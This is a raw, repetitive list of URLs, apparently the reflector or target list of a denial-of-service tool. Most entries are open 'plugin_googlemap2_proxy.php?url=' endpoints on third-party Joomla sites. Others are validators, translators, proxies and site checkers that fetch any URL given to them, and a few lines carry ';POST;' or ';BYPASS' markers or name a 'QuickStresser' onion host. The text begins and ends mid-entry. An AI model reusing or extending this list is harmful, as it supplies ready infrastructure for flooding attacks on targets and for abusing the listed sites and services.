url=\nhttp://www.dahlnet.no/v2/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://ping-admin.ru/index.sema;POST;ping-admin.ru.txt\nhttp://web-sniffer.net/?url=\nhttp://sova-tour.com.ua/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://scu-oldesloe.de/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://translate.yandex.ru/translate?srv=yasearch&lang=ru-uk&url=\nhttp://translate.yandex.ua/translate?srv=yasearch&lang=ru-uk&url=\nhttp://translate.yandex.net/tr-url/ru-uk.uk/\nhttp://www.bongert.lu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://laresmadrid.org/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://doleorganic.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://crawfordlivestock.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.aculaval.com/joomla/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://grandsultansaloon.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.d1010449.cp.blacknight.com/cpr.ie/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.architettaresas.it/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://basketgbkoekelare.be/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.arbitresmultisports.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://mobilrecord.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dbaa.co.za/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://waggum-bevenrode.sg-bevenrode.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://bwsnt1.pdsda.net/plugins/system/plugin_googlemap3_proxy.php?url=\nhttp://www.astecdisseny.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.fillmorefairways.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.bus-reichert.eu/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.maxxxi.ru/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://potholepeople.co.nz/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.hammondgolf.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.footgoal33.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://bbtoma.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tajmahalrestaurant.co.za/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.yerbabuenacuisine.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.rinner-alm.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://stockbridgetownhall.co.uk/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://mentzerrepairs.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.tilmouthwell.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.homevisionsinc.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://toddlers.nalanda.edu.in/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://cultura-city.rv.ua/plugins/system/plugin_googlemap3_proxy.php?url=\nhttp://secret.leylines.info/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://bike-electric.co.uk/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.centroaquaria.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://agenzia-anna.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.gretnadrug.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.crestwoodpediatric.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.oceans-wien.com/plugins/system/plugin_googlemap2_proxy.php?url=;BYPASS\nhttp://lavori.joomlaskin.it/italyhotels/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=\nhttp://santaclaradelmar.com/hoteles/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=\nhttp://www.authentic-luxe-locations.com/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=\nhttp://www.keenecinemas.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.hotelmonyoli.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://prosperitydrug.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://policlinicamonteabraao.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.vetreriafasanese.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.benawifi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.valleyview.sa.edu.au/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.racersedgekarting.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=?url=\nhttp://www.villamagnoliarelais.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://worldwide-trips.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://systemnet.com.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.netacad.lviv.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.veloclub.ru/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.virtualsoft.pl/plugins/content/plugin_googlemap3_proxy.php?url=\nhttp://gminazdzieszowice.pl/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://fets3.freetranslation.com/?Language=English%2FSpanish&Sequence=core&Url=\nhttp://www.fare-furore.com/com-line/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.rotisseriesalaberry.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.lbajoinery.com.au/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.seebybike.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.copiflash.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://suttoncenterstore.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://coastalcenter.net/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://whitehousesurgery.org/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.vertexi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.owl.cat/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.sizzlebistro.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://thebluepine.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://donellis.ie/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://validator.w3.org/unicorn/check?ucn_task=conformance&ucn_uri=\nhttp://validator.w3.org/nu/?doc=\nhttp://check-host.net/check-http?host=\nhttp://www.netvibes.com/subscribe.php?url=\nhttp://www-test.cisel.ch/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sistem5.net/ww/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.fmradiom.hu/palosvorosmart/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.iguassusoft.com/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://lab.univ-batna.dz/lea/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.computerpoint3.it/cp3/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://hotel-veles.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://klaassienatuinstra.nl/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.google.com/ig/add?feedurl=\nhttp://anonymouse.org/cgi-bin/anon-www.cgi/\nhttp://www.google.com/translate?u=\nhttp://translate.google.com/translate?u=\nhttp://validator.w3.org/feed/check.cgi?url=\nhttp://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs=\nhttp://validator.w3.org/check?uri=\nhttp://jigsaw.w3.org/css-validator/validator?uri=\nhttp://validator.w3.org/checklink?uri=\nhttp://qa-dev.w3.org/unicorn/check?ucn_task=conformance&ucn_uri=\nhttp://www.w3.org/RDF/Validator/ARPServlet?URI=\nhttp://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile=\nhttp://www.w3.org/services/tidy?docAddr=\nhttp://validator.w3.org/mobile/check?docAddr=\nhttp://validator.w3.org/p3p/20020128/p3p.pl?uri=\nhttp://validator.w3.org/p3p/20020128/policy.pl?uri=\nhttp://online.htmlvalidator.com/php/onlinevallite.php?url=\nhttp://feedvalidator.org/check.cgi?url=\nhttp://gmodules.com/ig/creator?url=\nhttp://www.google.com/ig/adde?moduleurl=\nhttp://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1=\nhttp://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl=\nhttp://host-tracker.com/check_page/?furl=\nhttp://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target=\nhttp://www.viewdns.info/ismysitedown/?domain=\nhttp://www.onlinewebcheck.com/check.php?url=\nhttp://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=\nhttp://www.translate.ru/url/translation.aspx?direction=er&sourceURL=\nhttp://streamitwebseries.twww.tv/proxy.php?url=\nhttp://www.comicgeekspeak.com/proxy.php?url=\nhttps://www.google.com/search?q=\nhttps://check-host.net/\nhttps://www.facebook.com/\nhttps://www.youtube.com/\nhttps://www.fbi.com/\nhttps://www.bing.com/search?q=\nhttps://r.search.yahoo.com/\nhttps://www.cia.gov/index.html\nhttp://netsec-reborn.onion/QuickStresser-virus?id=\nhttps://vk.com/profile.php?redirect=\nhttps://www.usatoday.com/search/results?q=\nhttps://help.baidu.com/searchResult?keywords=\nhttps://steamcommunity.com/market/search?q=\nhttps://www.ted.com/search?q=\nhttps://play.google.com/store/search?q=\nhttps://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=\nhttps://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=\nhttps://drive.google.com/viewerng/viewer?url=\nhttp://www.google.com/translate?u=\nhttps://developers.google.com/speed/pagespeed/insights/?url=\nhttp://help.baidu.com/searchResult?keywords=\nhttp://www.bing.com/search?q=\nhttps://add.my.yahoo.com/rss?url=\nhttps://play.google.com/store/search?q=\nhttp://www.google.com/?q=\nhttp://regex.info/exif.cgi?url=\nhttp://anonymouse.org/cgi-bin/anon-www.cgi/\nhttp://www.google.com/translate?u=\nhttp://translate.google.com/translate?u=\nhttp://validator.w3.org/feed/check.cgi?url=\nhttp://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs=\nhttp://validator.w3.org/check?uri=\nhttp://jigsaw.w3.org/css-validator/validator?uri=\nhttp://validator.w3.org/checklink?uri=\nhttp://www.w3.org/RDF/Validator/ARPServlet?URI=\nhttp://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile=\nhttp://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile=\nhttp://validator.w3.org/mobile/check?docAddr=\nhttp://validator.w3.org/p3p/20020128/p3p.pl?uri=\nhttp://online.htmlvalidator.com/php/onlinevallite.php?url=\nhttp://feedvalidator.org/check.cgi?url=\nhttp://gmodules.com/ig/creator?url=\nhttp://www.google.com/ig/adde?moduleurl=\nhttp://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1=\nhttp://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl=\nhttp://host-tracker.com/check_page/?furl=\nhttp://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target=\nhttp://www.onlinewebcheck.com/check.php?url=\nhttp://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=\nhttp://www.translate.ru/url/translation.aspx?direction=er&sourceURL=\nhttp://about42.nl/www/showheaders.php;POST;about42.nl.txt\nhttp://browsershots.org;POST;browsershots.org.txt\nhttp://streamitwebseries.twww.tv/proxy.php?url=\nhttp://www.comicgeekspeak.com/proxy.php?url=\nhttp://67.20.105.143/bitess/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://bemaxjavea.com/javea-rentals-alquileres/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://centrobrico.net/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://conodeluz.org/magnanet/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://greenappledentaldt.com/home/templates/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://html.strost.ch/dgi/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://kobbeleia.net/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://krd-medway.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://old.ucpb.org/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.abs-silos.de/en/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.admksg.ru/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.autoklyszewski.pl/autoklyszewski/mambots/content/plugin_googlemap2_proxy.php?url=\nhttp://www.build.or.at/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.caiverbano.it/sito/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.cbcstittsville.com/home/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.ciutatdeivissa.org/portal/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.contrau.com.br/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dierenhotelspaubeek.nl/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gaston-schul.nl/DU/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gaston-schul.nl/FR/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gillinghamgurdwara.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gilmeuble.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.hortonmccormick.com/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.kanzlei-berendes.de/homepage/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.kita-spielhaus.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.lacasaencarilo.com.ar/sitio/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.losaromos-spa.com.ar/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.losaromos-spa.com.ar/~losaromo/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.nickclift.co.uk/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.palagini.it/palagini/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.parsifaldisco.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.podosys.com/csm/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.renault-windisch.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.riegler-dorner.at/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.seevilla-dr-sturm.at/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sounders.es/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.suelcasa.com/suelcasa/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tcl.lu/Site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tijssen-staal.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.triatarim.com.tr/TriaEn/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tus-haltern.de/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.vm-esslingen.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.zahnarzt-buhl.de/praxis/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sultanpalace.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.bergenpol.com/cms//plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.arantzabelaikastola.com/webgunea//plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.fare-furore.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dog-ryusen.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.spvgg-roedersheim.de/web/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.dahlnet.no/v2/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://ping-admin.ru/index.sema;POST;ping-admin.ru.txt\nhttp://web-sniffer.net/?url=\nhttp://sova-tour.com.ua/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://scu-oldesloe.de/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://translate.yandex.ru/translate?srv=yasearch&lang=ru-uk&url=\nhttp://translate.yandex.ua/translate?srv=yasearch&lang=ru-uk&url=\nhttp://translate.yandex.net/tr-url/ru-uk.uk/\nhttp://www.bongert.lu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://laresmadrid.org/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://doleorganic.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://crawfordlivestock.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.aculaval.com/joomla/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://grandsultansaloon.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.d1010449.cp.blacknight.com/cpr.ie/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.architettaresas.it/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://basketgbkoekelare.be/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.arbitresmultisports.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://mobilrecord.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dbaa.co.za/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://waggum-bevenrode.sg-bevenrode.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://bwsnt1.pdsda.net/plugins/system/plugin_googlemap3_proxy.php?url=\nhttp://www.astecdisseny.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.fillmorefairways.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.bus-reichert.eu/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.maxxxi.ru/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://potholepeople.co.nz/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.hammondgolf.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.footgoal33.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://bbtoma.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tajmahalrestaurant.co.za/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.yerbabuenacuisine.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.rinner-alm.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://stockbridgetownhall.co.uk/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://mentzerrepairs.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.tilmouthwell.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.homevisionsinc.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://toddlers.nalanda.edu.in/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://cultura-city.rv.ua/plugins/system/plugin_googlemap3_proxy.php?url=\nhttp://secret.leylines.info/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://bike-electric.co.uk/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.centroaquaria.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://agenzia-anna.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.gretnadrug.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.crestwoodpediatric.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.oceans-wien.com/plugins/system/plugin_googlemap2_proxy.php?url=;BYPASS\nhttp://lavori.joomlaskin.it/italyhotels/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=\nhttp://santaclaradelmar.com/hoteles/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=\nhttp://www.authentic-luxe-locations.com/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file=\nhttp://www.keenecinemas.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.hotelmonyoli.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://prosperitydrug.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://policlinicamonteabraao.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.vetreriafasanese.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.benawifi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.valleyview.sa.edu.au/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.racersedgekarting.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=?url=\nhttp://www.villamagnoliarelais.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://worldwide-trips.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://systemnet.com.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.netacad.lviv.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.veloclub.ru/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.virtualsoft.pl/plugins/content/plugin_googlemap3_proxy.php?url=\nhttp://gminazdzieszowice.pl/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://fets3.freetranslation.com/?Language=English%2FSpanish&Sequence=core&Url=\nhttp://www.fare-furore.com/com-line/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.rotisseriesalaberry.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.lbajoinery.com.au/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.seebybike.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.copiflash.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://suttoncenterstore.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://coastalcenter.net/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://whitehousesurgery.org/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.vertexi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.owl.cat/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.sizzlebistro.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://thebluepine.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://donellis.ie/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://validator.w3.org/unicorn/check?ucn_task=conformance&ucn_uri=\nhttp://validator.w3.org/nu/?doc=\nhttp://check-host.net/check-http?host=\nhttp://www.netvibes.com/subscribe.php?url=\nhttp://www-test.cisel.ch/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sistem5.net/ww/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.fmradiom.hu/palosvorosmart/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.iguassusoft.com/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://lab.univ-batna.dz/lea/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.computerpoint3.it/cp3/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://hotel-veles.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://klaassienatuinstra.nl/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.google.com/ig/add?feedurl=\nhttp://anonymouse.org/cgi-bin/anon-www.cgi/\nhttp://www.google.com/translate?u=\nhttp://translate.google.com/translate?u=\nhttp://validator.w3.org/feed/check.cgi?url=\nhttp://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs=\nhttp://validator.w3.org/check?uri=\nhttp://jigsaw.w3.org/css-validator/validator?uri=\nhttp://validator.w3.org/checklink?uri=\nhttp://qa-dev.w3.org/unicorn/check?ucn_task=conformance&ucn_uri=\nhttp://www.w3.org/RDF/Validator/ARPServlet?URI=\nhttp://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile=\nhttp://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile=\nhttp://www.w3.org/services/tidy?docAddr=\nhttp://validator.w3.org/mobile/check?docAddr=\nhttp://validator.w3.org/p3p/20020128/p3p.pl?uri=\nhttp://validator.w3.org/p3p/20020128/policy.pl?uri=\nhttp://online.htmlvalidator.com/php/onlinevallite.php?url=\nhttp://feedvalidator.org/check.cgi?url=\nhttp://gmodules.com/ig/creator?url=\nhttp://www.google.com/ig/adde?moduleurl=\nhttp://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1=\nhttp://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl=\nhttp://host-tracker.com/check_page/?furl=\nhttp://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target=\nhttp://www.viewdns.info/ismysitedown/?domain=\nhttp://www.onlinewebcheck.com/check.php?url=\nhttp://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=\nhttp://www.translate.ru/url/translation.aspx?direction=er&sourceURL=\nhttp://about42.nl/www/showheaders.php;POST;about42.nl.txt\nhttp://browsershots.org;POST;browsershots.org.txt\nhttp://streamitwebseries.twww.tv/proxy.php?url=\nhttp://www.comicgeekspeak.com/proxy.php?url=\nhttp://67.20.105.143/bitess/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://bemaxjavea.com/javea-rentals-alquileres/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://centrobrico.net/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://conodeluz.org/magnanet/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://greenappledentaldt.com/home/templates/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://html.strost.ch/dgi/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://ijzerhandeljanssen.nl/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://kobbeleia.net/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://krd-medway.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://link2europe.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://old.ucpb.org/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://peelmc.ca/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://s2p.lt/main/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://smartonecity.com/pt/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://snelderssport.nl/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://sunnyhillsassistedliving.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://thevintagechurch.com/www2/index.php?url=/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.abc-haus.ch/reinigung/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.abs-silos.de/en/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.admksg.ru/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.alhambrahotel.net/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.aliento.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.autoklyszewski.pl/autoklyszewski/mambots/content/plugin_googlemap2_proxy.php?url=\nhttp://www.build.or.at/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.caiverbano.it/sito/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.cbcstittsville.com/home/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.ciutatdeivissa.org/portal/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.contrau.com.br/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dierenhotelspaubeek.nl/plugins/content/plu